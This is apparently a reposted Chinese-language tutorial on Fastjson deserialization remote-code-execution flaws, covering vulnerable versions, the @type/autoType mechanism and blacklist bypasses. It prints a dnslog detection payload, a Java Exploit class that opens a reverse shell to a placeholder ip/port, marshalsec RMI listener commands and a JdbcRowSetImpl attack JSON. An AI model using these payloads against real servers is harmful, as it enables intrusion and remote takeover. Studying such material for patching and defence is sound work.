Fastjson 概述
Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到JavaBean。
漏洞版本
Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞
Java序列化小知识
序列化时,会调用成员变量的get方法,私有成员变量不会被序列化。
反序列化时,会调用成员变量的set方法,public修饰的成员全部自动赋值。
Fastjson反序列化方法
第一种,指定返回类型的对象
User user = JSON.parseObject(serializedStr, User.class);
第二种,返回JsonObject对象
Object obj = JSON.parse(serializedStr);
但如何让程序自动获得序列化对象的类型呢?第一种需要自己指定,第二种则返回Obj类型,Fastjson则提供一个自省@type 自动转换类型。
这就存在漏洞,可以通过自省,可构造指定要序列化的类。
Fastjson 反序列化漏洞
1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
Fastjson查找
fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了fastjson
- 找到发送json序列化数据的接口
- 判断是否使用fastjson
1)输入非法格式,查看报错信息,例如{“x”:"
2)使用dnslog探测 - Burp插件 github搜 fastjson
Fastjson漏洞发现(利用 dnslog)
{"name":{"@type":"java.net.InetAddress","val":"test.sr3uwk.ceye.io"}}
Fastjson的利用(编译)
//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&
/dev/tcp/ip/port 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
Fastjson的利用
使用marshalsec开启监听
项目地址:https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
“http://ip/#Exploit” port
执行攻击payload:
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"
b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip/Exploit","autoCommit":true}}
Fastjson的升级和利用
从1.2.25起,fastjson默认关闭了autotype,引入了checkAutoCheck。
1.2.25–1.2.41之前,在checkAutotype的代码中,会先进行黑白名单过滤,如果反序列化的类不再黑名单中,才会进行反序列化。
但fastjson加载类时,有一段特殊处理,会去掉className的前面的L和;(分号)。比如过滤com.sun.rowset.JdbcRowSetImpl,但Lcom.sun.rowset.JdbcRowSetImpl;不在黑名单中,而fastjson又会去掉前面的L和; , 将类还原回com.sun.rowset.JdbcRowSetImpl,最后fastjson将全面的所有L和;全部去掉后,再过滤。该类绕过方式就G了。文章来源:https://www.toymoban.com/news/detail-504977.html
1.2.47版本。autoType不开启反而会被攻击。因为fastjson有个全局缓存机制。在类加载时,如果autotype关闭,回尝试从缓存中获取类,如果缓存中有,则直接返回。所以如果能让缓存中存在com.sun.rowset.JdbcRowSetImpl,则又可利用了。 问题是如何让缓存中有com.sun.rowset.JdbcRowSetImpl
java.lang.Class类给出了新的利用手法,java.lang.Class类是一定存在的,并且该类反序列化时会取json串中的val值,并加载这个类。因此将com.sun.rowset.JdbcRowSetImpl 放在java.lang.Class的val位置,com.sun.rowset.JdbcRowSetImpl就能被加载到缓存中。该方法利用前提:fastjson cache 为true
v1.2.68利用异常进行攻击
文章来源地址https://www.toymoban.com/news/detail-504977.html
到了这里,关于Fastjson漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!